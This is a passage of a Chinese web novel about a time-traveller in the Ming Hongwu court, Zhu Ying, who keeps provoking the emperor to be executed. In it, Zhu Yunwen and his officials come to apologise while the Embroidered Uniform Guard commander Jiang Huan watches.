这时候,一个错得离谱的答案,一个注定会被朱笔划掉的答案,就这么活生生地摆在你面前。 你还会浪费心神,再去看它一眼吗? 这个念头在脑中一闪而过,蒋瓛的眼神深处,那点仅存的对皇孙身份的敬意,也随之悄然熄灭。 错误答案,多看一眼都是对自己的不负责任。 因此,尽管朱允炆同样是尊贵的皇孙,但在他这个深知内情的“答题人”眼中,对方已经失去了所有光环。 他甚至觉得,朱允炆今日屈尊降贵,带着厚礼前来,绝不是为了那点可笑的兄弟情谊。 他此来,必有所图。 当然,这其中还有另一层关系。 朱允熥。 想到那个总是低垂着头,连与人对视都不敢的怯懦少年,蒋瓛的眼神暗了暗。他身上那件飞鱼服的衣角在烛火的映照下,绣金的鳞片闪过一抹冰冷的光。 众所周知,三皇孙朱允熥性子懦弱,甚至有些软弱。 这性子是如何来的? 宫墙之外的人或许会归咎于天性,但在这深宫大内,特别是他这个位置上,很多事情都如同掌上观纹,清晰可见。 东宫那些腌臜事,瞒得过朝堂上的衮衮诸公,瞒得过天下百姓,却绝不可能瞒过他这个锦衣卫指挥使。 锦衣卫的耳目,遍布宫城内外,无孔不入。 从小居住在东宫的朱允熥,活成了今天这个样子,其中两个人难逃干系。 吕氏。 还有她那个“温文尔雅”的好儿子,朱允炆。 这些事,蒋瓛自然不便与任何人明说,但他心里有一杆秤,一笔账,记得清清楚楚。 如果朱允熥只是一个普普通通、无足轻重的皇孙,蒋瓛或许只会将其当成一桩皇家秘闻,看过便罢,不会太过在意。 可偏偏,他不是。 朱允熥,是太子朱标和原配太子妃常氏的第二个儿子。 他和那位自小流落在外,十数年后才被陛下失而复得的嫡长孙朱煐,是血脉相连、一母同胞的亲兄弟。 这个关系,才是整件事的核心。 换而言之,吕氏和朱允炆过去所有针对朱允熥的打压与算计,在朱煐的身份揭晓的那一刻起,就等于全都落在了朱煐的身上。 只不过,眼下那位被陛下寄予厚望的嫡长孙,还不知道自己的真实身份。 也正因如此,朱煐才没有对吕氏和朱允炆下重手,一切都还维持着表面的平和。 但这层窗户纸,迟早要被捅破。 吕氏和朱允炆,毋庸置疑地,早已站在了朱煐的对立面。 这一点,蒋瓛看得清清楚楚。 作为深知所有内情、甚至亲手操办了许多事的锦衣卫指挥使,蒋瓛无比清晰自己应该站在哪个阵营。 这已经不仅仅关乎他个人的前途荣辱。 更关乎大明未来数十年的国运走向。 站错队的下场,他见得太多了,那些被抄家灭族的勋贵府邸,至今仿佛还萦绕着血腥气。 自然,对于朱允炆这一边,蒋瓛也就没有半分好感。 他甚至在朱允炆踏入此地的瞬间,就已暗中提起了十二分的警惕,周身肌肉微绷,随时准备应对任何变故。 他生怕这位看似谦和的皇孙殿下,今日前来,是要耍什么见不得光的阴损花样。 ........ 朱允炆似乎并没有听出蒋瓛言语中那拒人于千里之外的冷淡。 或者说,他听出来了,却选择故作不知。 毕竟,蒋瓛执掌锦衣卫,常年行走于阴影与血腥之中,他身上的寒意早已浸入骨髓,言语间自然带着一股生人勿近的锋锐。无论对谁,他都是这么个语气和调调。 所以朱允炆并未感觉自己受到了刻意的针对。 他脸上挂着恰到好处的微笑,姿态放得极低,十分有礼地冲蒋瓛笑道: “皇爷爷的安排最是合适,朱御史于朝廷有大功,是该摆下庆功宴。” 他说话时微微颔首,身形谦和,那种久居上位者刻意流露出的亲近感,足以让任何不熟悉他的人如沐春风,觉得这是一位真正温文尔雅、礼贤下士的皇孙。 “数日之内,就从那些富甲一方的商贾手中,为国库筹措到了四百六十三万两白银。” “放眼古今,也就只有朱御史一人有此等经天纬地之才了。” 朱允炆的语气无比诚恳,眼神里满是赞叹,仿佛是真心实意地在为朱煐感到高兴和骄傲。 但他那双看似温润的眼眸深处,一瞬间有什么东西翻涌了一下,快得让人无法捕捉,却又真实存在。 那是一闪而过的复杂情绪,混杂着嫉妒,不甘,还有一丝深藏的忌惮。 这细微的变化,没能逃过蒋瓛的眼睛。 蒋瓛的目光锐利如刀,常年审讯犯人,他最擅长的,就是从最细微的表情和身体反应中,剥离出对方内心最真实的想法。 朱允炆自以为掩饰得天衣无缝,但在蒋瓛面前,无异于赤身裸体。 “今日朝中的事情,孤其实并不知情。” 朱允炆话锋一转,脸上露出一丝歉意。 “实在是黄师傅他们临时起意,孤事先毫不知情。退朝之后,孤立刻就喊了黄师傅和齐大人过来询问。” “了解了事情的原委之后,孤才知晓,原来是一场误会。” 他摊了摊手,姿态坦然。 “所以,今日孤特意前来,就是专程为了给朱御史道歉的。” 朱允炆脸上时刻保持着那副温和的微笑,一副彬彬有礼的君子架势。 他说话时,双手自然垂在身侧,掌心微微向内,这是一个在心理学上代表着开放与真诚的姿态。 可这副精心设计过的模样,落在蒋瓛的眼里,只剩下两个字。 虚伪。 蒋瓛在官场宦海中沉浮了半辈子,从一个无名小卒爬到锦衣卫指挥使的高位,识人无数。 眼前这个人,究竟是发自内心的真诚,还是刻意伪装的表演,他一眼就能看穿。 朱允炆那刻意维持的笑容,嘴角上扬的弧度,乃至眼神中努力挤出的善意,在他眼中,全是破绽。 一个真正的谦谦君子,他的温和是由内而外,发自骨髓的。 而一个伪装者,他的礼貌只是披在身上的一件外衣,看似合身,却总有那么一两个地方,会因为内里的动作而显露出不协调的褶皱。 朱允炆,就是后者。 第90章 洪武三大搅屎棍 府门外传来嘈杂与骚动,由远及近,声音传遍了整座府邸。 脚步声、甲胄摩擦声、压着嗓子的呵斥声混在一起,宣告着来者的身份与意图。 朱允炆还未踏过门槛,府内的人已被这动静惊动。 吱呀一声,府门向内敞开,门轴转动发出声响。 门内的光线与门外的暮色交汇,将对峙的双方分隔开。 朱煐率先从门内走出。他站得很直,面无表情,虽身着常服,气势却不减。身后几位朝中同僚跟了出来,一行人脚步稳定,不见慌乱。 他们站在那里,形成一道人墙,气势压向门外的人。 庭院里风停了。 张平的视线越过朱煐的肩膀,钉在朱允炆身上。 他嘴角向下撇着。 “哟,这不允炆殿下吗?” 这声腔调打破了沉寂。 张平双手抱胸,重心压在一条腿上,斜倚着门框,抬着下巴俯视台阶下的皇孙。 他的姿态没有对皇室子孙的恭敬。 “你怎么来了?” 他接着质问,语气里的不耐烦与敌意不再掩饰。 作为朱煐的追随者,张平说话向来直接。 不管是哪个皇孙,只要对他们的老大有想法,就是他的敌人。 他性子直,喜怒都挂在脸上,从不掩饰。 朱允炆脸色一僵,他身后的随从面露怒色,手按住了刀柄。 张平并不在意,眼角余光都没给那些护卫。 他心中冷哼,想的比说的更难听。 这里是什么地方? 这里是大明,是洪武爷的天下! 现在坐在龙椅上的,还是洪武大帝。 你朱允炆别说只是一个尚未定下名分的皇孙,就算是板上钉钉的皇储,在这朝堂之上,也得先往后稍稍! 想摆你皇孙的谱? 等什么时候你真的登临大宝,坐上了那张椅子,再来沾这个边吧! 张平的胸口憋着一股恶气,这股气从今日早朝时分一直郁结到现在,此刻见到朱允炆这张脸,更是如同火上浇油,瞬间沸腾。 朝堂之上,那帮文官集团是如何丧心病狂地围攻朱煐的,那一幕幕,此刻还清晰地在他的脑海中回放。 一张张因为激动而涨红的脸,一声声貌似公允实则诛心的攻讦,唾沫横飞,言辞如刀。 他现在想起来,都觉得一股怒火直冲天灵盖,恨不得当场就把那几个叫嚣得最凶的酸儒揪出来,用拳头让他们明白什么叫“道理”。 而那帮文官集团,领头的正是黄子澄、齐泰之流。 这几个人是谁的人? 满朝文武,谁不知道他们是朱允炆最坚定的支持者,是他未来的东宫班底! 这其中的利害关系,如同秃子头上的虱子,明摆着。 张平看得清清楚楚,看得明明白白。 黄子澄、齐泰那帮人,不过是冲在前面的狗。 躲在后面牵绳子,默许甚至指使他们咬人的,不就是眼前的允炆殿下吗? 文官集团发难,这笔账,要算到朱允炆头上。 他张平恩怨分明。 你敬我一尺,我敬你一丈。 你捅我一刀,我就算拼了命,也要在你身上剜下一块肉来。 既然朱允炆是主使,那他今日登门,必然是黄鼠狼给鸡拜年。 没安好心! 张平的眼神冰冷,他不像老大朱煐,可以把生死置之度外。 但他也不怕死。 烂命一条,跟在老大身后,能做一番事业,值了。 真到了要掉脑袋的时候,脖子一伸,十八年后又是一条好汉。 也托了朱煐这个带头大哥的福,如今应天府的朝堂上,他们几个的名号,已经无人不知。 朱煐。 张平。 还有那个看似文弱,脾气却犟的方孝孺。 这三人,成了官员们私下议论的话题,是洪武末年朝堂上,一道让人头疼的风景线。 不知是谁起的头,一个名号便传扬开来。 洪武三大铁头娃。 这个称号在武将勋贵圈子里流传,带着赞许和调侃。 而在文官集团口中,这个称号则变得恶毒。 朝堂三根搅屎棍。 这个外号虽然粗鄙,张平在心里咂摸了一下,觉得痛快。 因为它无比贴切地形容了他们三个人在朝堂上的行事风格。 不畏强权,不惧生死,看准了就一头撞上去,管他撞的是南墙还是龙椅。 就是要搅,把这潭死水搅浑,把那些藏在水面下的魑魅魍魉,统统都给搅出来! 其中朱煐自然不必多说,他的头最铁,铁到任谁也不敢轻易招惹。 就连高坐龙椅之上的那位陛下,都拿他没什么太好的办法,更遑论朝堂之上的衮衮诸公。 可另外两位,张平和方孝孺,也丝毫不弱。 他们两人在“铁头”这个寻常人避之不及的领域,虽然段位上比不过朱煐那般惊世骇俗,却也早已远远超出了凡俗的界定。 张平此人,有一桩战绩至今仍是朝中津津乐道的传奇。 那还是他初入官场之时,一腔热血,试图效仿朱煐的劝谏风骨,结果却选错了目标——他要劝谏老朱,针对的却是朱煐本人。 那一日,金銮殿上杀气滚滚。 老朱震怒,当场便要将这个不知天高地厚的新科进士处以极刑,甚至怒火上涌,直接喊出了“夷其三族”的旨意。 殿中百官噤若寒蝉,无人敢出列求情。 所有人都认定,这个叫张平的愣头青,死定了。他的家族,也要因为他的愚蠢和鲁莽,被彻底从人世间抹去。 就在那千钧一发之际,就在张平自己都已闭目待死,准备用项上人头为自己的刚直殉道之时,那个被他弹劾的主角——朱煐,却淡然出列了。 他只是轻描淡写地开了口,三言两语,便将老朱那滔天的怒火给浇熄了。 没人知道朱煐具体说了什么,只知道结果是,张平的命保住了,三族也得以保全。 这件事,在朝中掀起了轩然大波,成了张平不畏强权的铁证。 一个刚入仕的官员,就敢直面天子之怒,敢于挑战夷灭三族的酷刑,这份胆魄,足以让无数在官场沉浮多年的老油条汗颜。 而朱煐那在所有人看来都堪称“以德报怨”的举动,则彻底击碎了张平心中最后一丝傲气。 他心服,口服。 从那一天起,张平便死心塌地地跟在了朱煐的身后,鞍前马后,再无半点二心。 他的这条命,是朱煐给的。他所坚守的道,也在朱煐身上看到了更高远的境界。 自此,张平的事迹也在官场内外流传开来。 如今在朝中,谁都知道都察院有个叫张平的御史,是个不怕死的主,轻易绝不敢去招惹。 毕竟,一个连夷三族都能面不改色扛下来的人,你还能用什么去威胁他? 当然,若论及此道的巅峰,还得是朱煐。 朱煐面对的,可是老朱亲口许下的“诛十族”的无上天威。 在宗族观念深入骨髓的大明,这不仅仅是死亡的威胁,更是将一个人从历史、从血脉、从师承、从一切社会关系中彻底抹除的终极诅咒。 可朱煐,在那样的威胁下,依旧面不改色。 他不仅仅是将自己的生死置之度外,更是将自身十族所有亲眷、门生故旧的生死,都一同置之度外了。 那份平静,那份淡漠,仿佛在讨论一件与自己毫不相干的琐事。 这等气魄,古今罕见。 这也直接导致了一个结果:朝堂之上,几乎没有多少人敢和朱煐走得太近。 与他为友,风险太高。 但凡能在他身边站稳脚跟的,掰着指头数,也无非就是两种人。 一种,是身份尊贵到极致,根本不怕受到牵连。 譬如秦王朱樉这般,本身就是天潢贵胄,一人之下,万人之上。他与朱煐交好,谁敢置喙?便是陛下,也总不能因为这个,就把自己的亲儿子也给“诛”了吧? 另一种,就是像张平这样,已经把生死彻底看淡,将性命视作身外之物的人。 这两种人,看似天差地别,却有一个惊人的共同点:他们都不把世俗的利害关系放在眼里。 朱煐那“被诛十族而无惧”的惊天行径,让他稳稳坐上了洪武朝第一铁头娃的宝座。 这个称号,朱煐当之无愧。 而张平那“夷三族而无惧”的事迹,也成了官场上不可招惹的经典案例。 谁都知道,去招惹张平,就等于去招惹一个压根不要命的疯子。 敢于直面夷三族,其前提,必然是将自己的生死置之度外。 可以说,在“将自己性命视若草芥”这条赛道上,张平已经跑到了凡人的终点,甚至触摸到了朱煐那个级别。 他与朱煐之间,只差了一线。 张平自己也坦然承认这种差距。 他尚有一些家族羁绊,面对“夷三族”时,心中或许还会闪过一丝犹豫,一丝对亲族的愧疚。 可朱煐,面对“诛十族”时,那双眼睛里,连一丝波澜都不会起。 这种差距,是境界上的鸿沟。 但无论是哪一种,对于朝中那些汲汲于功名利禄的普通官员而言,那都是无法想象的头铁! 每当私下里议论起这二人,无不是摇头感叹,既敬且畏。 这也让他们的名声,在官员的私下议论和民间的街谈巷议中,流传甚广。 如今在应天府,上至达官显贵,下至贩夫走卒,谁不知道当朝有三位不怕死的御史大人? 张平虽是本届科举刚刚入朝的新官,但他的声望,却早已超越了同科的状元郎,甚至盖过了朝中绝大部分宦海沉浮数十年的老臣。 这一点,连张平自己都觉得有些不可思议。 至于最后一位,方孝孺........ 他的经典一战,就更不用提了。 那一日,他于朝堂之上,当众炮轰朱煐,在明知朱煐是何等头铁的情况下,依旧敢和这位朱御史针锋相对,言辞之激烈,逻辑之严密,竟也只是稍落下风。 其后,当他发现自己是被人当枪使,被整个文官集团算计、哄骗之后,这位方学士的反应更是惊掉了所有人的下巴。 他没有丝毫的迟疑和退缩,立刻调转枪头,以一人之力,直接炮轰了整个文官集团! 这一连串石破天惊的操作,让方孝孺在朝中一举成名。 他那刚正不阿的性格,那种同样将自己性命视若草芥的决绝,展露无遗。 这三人,最大的共同点,就是压根没有把自己的性命当做性命。 这种特质,在整个大明朝堂,可谓是独树一帜,别无分号。 是以,无论是张平还是方孝孺,都不会因为朱允炆那皇孙的身份地位,产生任何情绪上的波动。 更别提什么特殊对待了。 在他们两人的眼中,皇孙与平民,并无区别。 别说你现在只是一个皇孙。 你就算是当今陛下,只要我们认为你做错了,照样要死谏到底! 这就是三人的共同信念。 ...... “张侍郎,此番殿下前来,并无恶意,只是想祝贺朱御史,再者就是这冤家宜解不宜结,若是能化干戈为玉帛,那就再好不过了........” 黄子澄站了出来。 他脸上堆叠着厚厚的笑容,眼角的褶子挤在一起,竭力做出真诚的模样。他一边说,一边不着痕迹地搓着手,试图用这种姿态来融化厅中凝结的寒冰。 第91章 这剧本走向,不对劲啊 “不知中兴侯想要什么诚意?” 黄子澄的声音响起,话是一个字一个字从牙缝里挤出来的。 他伸出手,指尖触到身上的官袍。这身代表翰林学士、左春坊大学士荣光的袍子,此刻却像铁水浇身,带来灼痛与束缚。 他的手指在袖口上摩挲,试图抚平衣料上的褶皱。这个动作暴露了他内心的不平。 屈辱。 文人最重脸面。 在他看来,今日不是请罪,是折辱。是将他的脸按在地上,让一个后生践踏。 他黄子澄是文官之首,帝师之尊。他一言一行,便是庙堂风向。今日却与齐泰登门,对一个官阶、资历、年岁远不及自己的后辈,做出低头的姿态。 这口气,他咽不下。 面子是互相给的。 黄子澄胸中一股气在翻涌。 朝会上我等是失了分寸,可那是为国朝大计,为湖广的灾民!我等站在这里,就是歉意! 你朱煐,还要如何? 非要我黄子澄跪下给你磕头认错? 这朱煐,不识抬举! 念头在他脑中炸开,化作火苗,灼烧着他的神经。 他已经给足了朱煐面子。 这是他黄子澄能给一个后辈的体面。 若是朱煐还不肯见好就收,那便不是给脸不要脸,而是不识时务了。 然而,朱煐不依不饶。 那句“诚意”,像一根鞭子,抽在他脸上。 不,这不是鞭子。 这是自己把脸伸了过去,以为对方会懂规矩地一托,就此揭过。 结果,对方抡圆了胳膊,对着脸面就是“啪!啪!啪!”几个耳光。 火辣辣地疼。 黄子澄脸颊的肌肉抽搐了一下,眼角瞥向身旁的齐泰。 齐泰的脸色比他还差,额头渗出汗珠,嘴唇翕动,却说不出一个字。 朱煐终于动了。 他端坐上首,目光扫过黄子澄和齐泰的脸,像匠人审视作品。 那目光没有温度,却有穿透力,能看清他们心底的愤懑、不甘与惶恐。 两人的表情,都被他尽收眼底。 朱煐的嘴角牵动了一下。 那不是笑。 那弧度如刀锋,一闪即逝。 随即,一切恢复了平静。 “黄大人和齐大人的心情,我是十分理解。” 朱煐开口了。 他的声音不高,像风吹散了厅中的空气。 他甚至对二人颔首,做出理解的模样。 这个转变,让黄子澄和齐泰都愣住了。 “湖广遭灾,牵动民心,朝廷府库已空,拿不出钱粮赈济。眼看百姓流离失所,即将沦为饿殍。” 朱煐语速不快,一字一句都说得清楚。 “两位大人心系湖广,情系百姓,一时情急,在朝堂上言辞激烈了些,本侯可以理解。” 他说着,语气体谅,仿佛之前索要“诚意”的人不是他。 话音落下。 黄子澄觉得后颈的筋松了。 他肩膀垮塌下来。 憋在胸口的浊气,也吐了出去。 他身旁的齐泰舒了一口气,声音在厅中响起,他连忙闭上了嘴。 黄子澄看着上首的朱煐,目光中的戒备与敌意,正在消融。 就说嘛! 他在心中对自己说道。 这朱御史,这中兴侯,终究是读书人出身。 既是读书人,就该明白文人之间的规矩。 这朝堂,就是一个名利场,更是一个人情场。大家的面子,从来都是互相给的。我等今日亲自登门,已是将姿态放到了尘埃里,你朱煐若真撕破脸皮,传出去,丢的也不只是我黄子澄的脸。 是他自己不懂规矩,失了德行。 看来,他是个明白人。 黄子澄心中涌起庆幸。 他开始重新审视朱煐。 年纪不大,却不气盛。 手握大权,懂得进退。 想来,方才那句“诚意”,不过是随口一提,要个台阶。 是了,一定是这样。 他需要一个台阶,一个由自己递过去的台阶,好让他结束这场对峙。 黄子澄甚至开始盘算,待会儿该如何开口,邀请朱煐去京城的酒楼,痛饮一番。 对,把酒言欢。 没什么恩怨是一场酒局化解不了的。 一场不行,就两场。 他要为朱煐斟酒,借着酒意,说几句软话,将这个年轻人化为助力。 今日的屈辱,不过是暂时的。 能屈能伸,方为大丈夫。 只要能将朱煐此人拉拢过来,今日丢掉的这点面子,他日都能加倍地找回来! 心中想着这些,黄子澄那张如石雕的脸上,再度露出了笑容。 这一次,那笑容比先前在门口时,要自然许多。 甚至,还带着几分如释重负。 黄子澄深吸了一口气,将所有情绪都压在心底,脸上堆砌起一个笑容。 他向前一步,姿态放得很低,拱手长揖及地。 “朱御史所言确实不错,我等也是想着湖广百姓,担心湖广赈灾受了影响。” 黄子澄说话时声音放缓,带着一种力量,仿佛他胸中装着的,唯有社稷苍生。 他又朝朱煐拱了拱手。 “不过即便如此,今日朝堂上的事也是我等之过,是我等小觑了朱御史。” 黄子澄说着,还故作惭愧地摇了摇头。 他的脖颈微僵,这个动作他演练过无数次,此刻却觉得有些沉重。 那是一种名为“低头”的重量。 “不过朱御史你也是的,这般厉害的本事,谁能想到?” 黄子澄的语气一转,带上了几分埋怨,仿佛是在责备一个好友,为何要隐藏自己的才能。 “我与尚礼兄也不过是肉眼凡胎,如何能看出朱御史你有这般本事?” 这话说的滴水不漏。 既是承认了自己有眼不识泰山,又将朱煐抬到了一个“非凡人”的高度。 这顶高帽送出去,既化解了他们的尴尬,又满足了年轻人一朝得志的虚荣心。黄子澄在心中迅速盘算着,这是成本最低,收益最高的策略。 齐泰站在他身侧,脸色依旧有些紧绷,但还是配合着挤出一个僵硬的笑容。 他不如黄子澄这般能屈能伸。 今日在朝堂上的溃败,对他而言是奇耻大辱。 但形势比人强。 他们必须认。 “朱御史说要诚意,此事好说,我等犯错,理应赔礼,朱御史尽管开口,但凡是我们有的,绝无二话。” 黄子澄的声音里充满了底气。 仿佛他不是来赔礼的,而是来彰显自己的慷慨与大度。 只要能用身外之物解决的问题,就不是问题。 黄子澄与齐泰互视一眼。 那一眼极快,却交换了足够多的信息。 ——稳住他。 ——看看他要什么。 ——只要不触及根本,都可以给。 一切尽在不言中。 两人都以为这场风波即将平息,心情都轻松了不少。 在他们看来,朱煐不过是个骤然得势的年轻御史,面对他们两个东宫重臣、未来的帝师亲自登门道歉,给足了面子,又许下了重诺,没有理由不顺着台阶下来。 只要对方给面子就行,至于台阶这玩意儿,本身自己等人过来就是为了道歉来的,给个台阶怎么了? 黄子澄甚至已经在心里盘算着待会儿该如何与朱煐拉近关系。 要诚意,那咱就拿出来诚意就是了。 黄子澄觉得,只要不是太过分的要求,他都可以答应。 比如,某个肥缺?或是真金白银? 这些东西,他们给得起。 殿内,一时间只有瓷杯轻磕桌面的微响。 朱煐一直没有说话,只是静静地看着黄子澄的表演。 他的目光没有波动。 黄子澄和齐泰的笑容,在他看来是面具。 他看到了面具下的焦虑与算计。 黄子澄说完话,摆出了“任你开价”的姿态。 朱煐看着黄子澄和齐泰,也笑了。 他的笑容和对方不同,气氛缓和下来。 “既然黄大人都这么说了,那我就放心了。” 朱煐的语气很轻松。 他端起茶盏,吹了吹浮沫,像被二人的诚意打动了。 他又朝没说话的朱允炆点了点头。 这个点头动作很轻,但意有所指。 以示尊重。 黄子澄和齐泰又放心了一些。 他们想,朱煐知道谁是东宫的主人。 只要他给皇孙面子,事情就好办。 “两位大人放心,看在允炆皇孙的面子上,我也不会提无理的要求。” 朱煐的声音很清楚,每个字众人都听了进去。 “必然是两位大人能拿出来的东西。” 他把朱允炆拉了进来,让这场赔礼道歉变成了“给未来储君面子”。 这既给了朱允炆面子,也保全了自己。 第92章 朱允炆慌了! 朱煐注意到了朱允炆的情绪变化。 他眼中的笑意消失,蒙上了一层阴霾。 朱煐将茶盏凑到唇边,白瓷的温度传到手上,茶雾模糊了他眼中的光。 他抿了口茶,苦味与回甘在舌尖化开。 他心里念头不断。 事实上,他一直在观察。 从朱允炆的马车停在府门外起,他的视线就没有离开过。 朱允炆下车时整理袖口,这个动作透露出他的严谨。 他进府门,先看匾额,再看前来迎接的自己,这个顺序代表他对规矩和身份的看重。 他落座时,腰背挺直,不靠椅背,这是宫中教养留下的痕迹。 他端茶杯时手指触碰杯身的位置,和朱煐记忆中史书上的“仁君”一样。 这些细节,这些旁人会忽略的信息,在朱煐眼中,是拼凑未来的关键。 它们关系到他能否完成这一世的任务。 一个必须以死亡为终点的任务。 这对他太重要了。 毕竟,按目前的局势,龙椅上的老朱,对自己的耐心好得出奇。 虽然自己这段日子一直在“尽力”。 可究竟能不能让老朱动怒,赐下白绫或毒酒,朱煐自己没有把握。 他真的尽力了。 前八世轮回积攒的求死经验,在这一个月里,被他用尽。 他曾当着满朝文武的面,说老朱的新政是“苛政猛于虎”。 结果,老朱把他叫到御书房谈了一夜,问他“苛”在何处,“猛”在何方,第二天就改了一部分。 他也曾嘲笑兵部呈上的军报夸大战功,话里话外都在说老朱好大喜功。 结果,老朱没生气,反而拍着他的肩膀,说他有自己年轻时的风骨,敢说真话。 他甚至在家宴上“失手”打碎了马皇后生前最爱的一只玉碗。 他已做好了被杖毙的准备。 可老朱只是沉默了一会,然后挥手让宫人收拾碎片,转头对他说,人要往前看。 那个缔造了大明,杀伐果决、猜忌心重的洪武皇帝,像一个旋涡,又像一团棉花。 任凭朱煐怎么折腾,用尽前世对付帝王的招数,他都无动于衷。 这让朱煐感到棘手。 但现在,一条新路在眼前出现。 如果,能让朱允炆恨自己呢? 朱煐的思路打开了。 就算最终不能死在老朱手里,也没关系。 等老朱去世,这位皇太孙登基为帝。 到那时候,自己这个“受洪武皇帝宠信”又“处处与新君作对”的皇叔,不就成了一个靶子? 新君要立威,要清除朝堂上的人,要集权。 自己只需要在某个时机,递上一个借口。 一个谋逆的罪名? 一个大不敬的由头? 太简单了。 届时,任务完成,他便可解脱。 想到这里,朱煐看向朱允炆的目光变了。 那不再是审视与观察。 其中带上了热度。 像饿狼看到猎物,像棋手看到制胜的一步。 那份期待,浓烈得快要成为实体。 对面的朱允炆也感受到了这视线的变化,他眉头皱起,端着茶杯的手指收紧,指节泛白。 他不明白。 这位传闻中乖张、却又深得皇爷爷喜爱的皇叔,为何用这种眼神看着自己。 那眼神,让他脊背发冷。 朱煐没有理会他的反应,他的思绪已经飘向了更远的地方。 朱棣。 那个名字在他脑中一闪而过。 燕王朱棣当然也是一个后手,一个备用选项。 但他的顺位,必须在朱允炆之后。 这一点,不容置疑。 众所周知,历史的洪流浩浩荡荡,大明的皇权交替,顺序是铁打的。 老朱之后,是建文帝朱允炆。 朱允炆之后,才是通过靖难之役夺取皇位的永乐大帝朱棣。 这个顺序,绝不会错。 就算他穿越之后,已经敏锐地察觉到,眼下的这个大明,并非他所熟知的那段历史。 它和《明史》中的记载,存在着诸多出入。 或许,是后世满清的大儒们在编纂史书时,出于某种政治目的,进行了部分的“艺术加工”和“春秋笔法”。 朱煐想起自己这些日子以来的见闻。 比如,某个本该在洪武十五年就病逝的大臣,如今还好端端地在朝堂上活蹦乱跳。 又比如,应天府的某些建筑布局,与史料中的描述大相径庭。 这些细节上的差异,确实让他一度感到困惑。 不过,那又如何? 就算再怎么艺术加工,再怎么修饰篡改,一些最基本的东西是无法撼动的。 历代皇帝的名讳,以及他们登基的先后顺序。 这就像是一座建筑的承重结构,抽掉任何一根,整个历史的大厦都会轰然倒塌。 所以,朱允炆登基,是板上钉钉的事情。 是必然会发生的未来。 对于这一点,朱煐毫不怀疑。 他的计划,就建立在这块坚不可摧的基石之上。 这一个月以来,朱煐已经感觉到了深深的疲惫。 这种疲惫并非源于身体。 它来自灵魂深处。 作为一名轮回了九世的穿越者,他经历过太多的朝代,亲眼见识过太多性格各异的帝王。 他见过挥霍无度的隋炀帝,见过雄才大略的唐太宗,也见过被文官集团拿捏得死死的宋仁宗。 那些皇帝,或暴虐,或英明,或软弱,但他们都有一个共同点——他们是人,有迹可循,有迹可怒。 只要找到他们的逆鳞,死亡便唾手可得。 可他从未遇到过老朱这样的皇帝。 一个让他所有的经验和算计,都彻底失效的男人。 一个喜怒如渊,深不可测的帝王。 他让人完全捉摸不透。 好歹自己也算是个轮回九世的穿越者了。 穿越这事,早已成了习惯。 而死谏的技术,也早已被他磨炼得炉火纯青。 从最初面对帝王时,双腿抑制不住地打颤,到如今在朝堂之上舌战群儒、面斥君主而面不改色,他可谓是将“求死”这门独一无二的艺术,修炼到了旁人无法企及的极致。 九世轮回,九次求死。 前面八世,次次功成。 唯独一次,栽了。 那是在大唐,在那个名为李二的男人手上,结结实实地栽了个大跟头。 想起那段憋屈的往事,朱煐的嘴角勾起一抹无法言说的苦笑。 李二那厮,简直是个怪胎。 他能清晰地回忆起,金銮殿上,自己唾沫横飞,历数其罪。李二的整张脸都涨成了猪肝色,额角青筋一根根暴起,虬结的肌肉在他的龙袍之下剧烈起伏,那双握着剑柄的手,指节因为过度用力而根根发白。 那股杀意化作实质,压在殿中每个人的心头。 他当时以为,大功即将告成。 可李二凭借对“明君”形象的执念,硬是把那股杀意咽了回去。 皇帝怒极,却不杀他。 天命任务不难,并非登天之举。 “为家国天下,而被君主所杀。” 看这个任务描述,便知其理。纵观历朝历代,哪一个皇帝不是手握生杀大权,乾纲独断?又有哪个皇帝,能容忍一个臣子天天指着自己的鼻子挑战权威? 龙有逆鳞,触之必死。 这是真理。 除非,遇到个例外。 经历的前八世中,他遇见过暴虐的,遇见过多疑的,也遇见过昏庸的。每一次,他都精准地找到了他们的逆鳞,然后用最激烈的方式狠狠踩上去。 结果都很好。 唯独大唐那一世,面对李二时,他吃了瘪。 没想到,这至关重要的最后一世,来到这个他本以为最简单、最能一步到位的大明朝,却被卡住了。 死死地卡住了。 老朱这个人,和自己以往所遇到的任何一个皇帝,都全然不同。 甚至和李二,也截然不同。 来之前,朱煐是做足了功课的。 他翻阅过自己那个时代能找到的所有关于《明史》的记载。 书里白纸黑字写得清清楚楚:太祖朱元璋,出身草莽,性格多疑,脾气暴躁,易怒,更易杀人。 在他手下当差,是一门真正高风险的差事。 说错一句话,办错一桩事,动不动就会掉脑袋。 胡惟庸案、蓝玉案,牵连数万人,血流成河。 朱煐当时看到这些记载,心中简直乐开了花。 这不就是为自己量身定做的完美终点站吗? 他甚至都已经规划好了上百种激怒老朱,从而让自己光荣“殉道”的方案。 可真正穿越过来,亲自接触到这位大明开国帝王之后,朱煐才发现........ 这他娘的明史里面写的,简直就是在放屁! 朱煐从未见过,也从未想过,这世上能有脾气这么好的皇帝。 为了完成任务,他使出了浑身解数。 朝堂上,他言辞激烈,屡屡驳斥老朱的决策。 私下里,他呈上的奏折,措辞尖锐,几乎是在挑战一个帝王的底线。 最过激的一次,在御书房内,因为政见不合,他甚至已经多次指着老朱的鼻子,唾沫星子都快喷到龙袍上了,厉声劝谏。 当时,周围的太监宫女全都吓得跪倒在地,浑身筛糠。 朱煐自己也已经做好了准备,只等老朱一声令下,殿外的锦衣卫就会如狼似虎地冲进来,将自己拖出去。 可依旧,没有任何效果。 老朱只是静静地听着,等他说完,甚至还递过来一杯茶,让他润润嗓子。 第93章 老朱的秘密基地 廊下的阴影冰冷。 蒋瓛藏匿其中,与廊柱的影子融为一体。他袖袍垂下,双手交叠于腹前,指尖已被寒意渗透。 他一动不动。 呼吸平稳,心跳沉缓。 如同一尊石雕,看着庭中发生的一切。 这场交锋,在他眼中,不是意气之争,而是关乎国祚的称量。天平的一端,是皇太孙朱允炆,以及他身后的黄子澄与齐泰。 另一端,只有一人。 中兴侯,朱煐。 在朱允炆他们眼中,朱煐的脸、神态、言辞,是憎恶之源。每个字都扎在他们肺管子里。那恨意让他们的牙根作痛。 可这份憎恶,落在蒋瓛眼中,却有了不同的意味。 他没觉得朱煐过分,反而颔首。 很好。 恰到好处。 作为锦衣卫指挥使,他是皇帝的刀,是黑夜里的眼。天下间,除了御座上的老爷子,只有他知晓朱煐侯爵袍下的身份。 也只有他,知晓老爷子的决断——谁,才是大明江山的继承人。 所以,他看待这幕闹剧的视角,与朱允炆等人不同。 这不是口角。 这是未来风暴的风,是雷霆的闷响。 蒋瓛的视线冷静,剖析着场中每个人的细节。 他看着朱允炆。 